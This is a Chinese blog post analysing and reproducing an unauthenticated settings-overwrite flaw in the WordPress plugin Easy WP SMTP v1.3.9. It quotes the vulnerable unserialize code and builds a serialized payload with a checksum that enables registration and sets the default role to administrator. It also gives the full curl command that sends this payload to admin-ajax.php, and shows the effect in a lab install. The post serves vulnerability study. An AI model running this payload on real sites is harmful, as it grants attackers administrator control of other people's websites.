51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

WordPress 插件Easy WP SMTP 0day漏洞复现及分析

背景

2019年3月中旬,Ninja公司的waf产品[NinjaFirewall (WP Edition)]拦截到针对easy-wp-smtp 插件v1.3.9版本的攻击。此0day漏洞可造成未授权用户修改wordpress站点设置,甚至造成恶意代码注入。Easy WP SMTP是wordpress知名插件之一,拥有300,000+活跃安装。

漏洞分析

此次漏洞出现在easy-wp-smtp/easy-wp-smtp.php文件的admin_init函数中。该函数可在用户访问admin时进行hook,主要功能是查看/删除日志,增加/删除/更新数据库配置。但此处并未对用户鉴权,未判断用户身份,导致任意用户可修改站点配置。
WordPress 插件Easy WP SMTP 0day漏洞复现及分析

漏洞利用

在此我们借助Ninja给出的exp进行分析。

https://blog.nintechnet.com/critical-0day-vulnerability-fixed-in-wordpress-easy-wp-smtp-plugin/

我们将利用此漏洞修改wordpress站点设置,开启站点注册,并设置默认注册用户为administrator。

在wordpress站点配置选项中,users_can_register选项为是否启用注册选项,default_role是注册用户默认身份选项。在默认配置中,users_can_register配置为0即关闭,default_role配置为subscriber(订阅者)二者的值可在wordpress数据库wp_options表中查到。

在v1.3.9版本代码easy-wp-smtp.php文件的308行

$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );

此处的file_get_contents是用来接收传入的配置文件的,实现导入配置文件功能
309-323行

    try {
    $in = unserialize( $in_raw );
    if ( empty( $in[ 'data' ] ) ) {
        echo $err_msg;
        wp_die();
    }
    if ( empty( $in[ 'checksum' ] ) ) {
        echo $err_msg;
        wp_die();
    }
    if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
        echo $err_msg;
        wp_die();
    }
    $data = unserialize( $in[ 'data' ] );

320行$in = unserialize( $in_raw );以及323行$data = unserialize( $in[ 'data' ] );对导入的配置文件进行了两次反序列化。

之后的foreach中,解析$data数组并使用update_option函数更新配置。

foreach ( $data as $key => $value ) {
    update_option( $key, $value );
    }

我们由此倒推,foreach中接受的值应为

{
  ["users_can_register"]=>
  string(1) "1"
  ["default_role"]=>
  string(13) "administrator"
}

先序列化一波

"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}"

我们注意到上述过程中需要checksum,需要array:

{
  ["data"]=>
  string(81) "a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}"
  ["checksum"]=>
  string(32) "3ce5fb6d7b1dbd6252f4b5b3526650c8"
}

序列化后

a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}

以上字符串写入/tmp/wpexp.txt中,然后执行以下命令

$ curl https://TARGET/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/wpexp.txt'

在此解释一下这条命令
/wp-admin/admin.php文件中有以下注释

Note, this does not just run on user-facing admin screens.
It runs on admin-ajax.php and admin-post.php as well.

我们在admin-ajax.php使用action=swpsmtp_clear_log触发漏洞

漏洞复现

执行exp前
我们首先搭建一个wordpress站点,安装v1.3.9版本的Easy WP SMTP,并进行相关配置。
WordPress 插件Easy WP SMTP 0day漏洞复现及分析 默认无法注册
WordPress 插件Easy WP SMTP 0day漏洞复现及分析 此时我们留意一下站点默认配置
WordPress 插件Easy WP SMTP 0day漏洞复现及分析 默认数据库值
WordPress 插件Easy WP SMTP 0day漏洞复现及分析 执行exp后
刷新站点即可看到注册
WordPress 插件Easy WP SMTP 0day漏洞复现及分析 注册后即为administrator
WordPress 插件Easy WP SMTP 0day漏洞复现及分析 网站配置
WordPress 插件Easy WP SMTP 0day漏洞复现及分析 WordPress 插件Easy WP SMTP 0day漏洞复现及分析

漏洞危害

1.因为此插件使用了不安全的unserialize()方法,所以可导致RCE

2.任意用户可查看/修改/删除日志

3.可任意查看wordpress插件配置,甚至包括SMTP的地址、用户名、密码。

根据捕获的攻击样本显示,攻击者更倾向于修改wp_user_roles的值,将所有用户的权限修改为管理员,这样订阅者依然显示为subscriber但却可以执行管理员权限。

附上PDF版本 链接: https://pan.baidu.com/s/16-iwmT5DnUt_Itiie90-yQ 提取码: ujkt

赞(0)
未经允许不得转载:工具盒子 » WordPress 插件Easy WP SMTP 0day漏洞复现及分析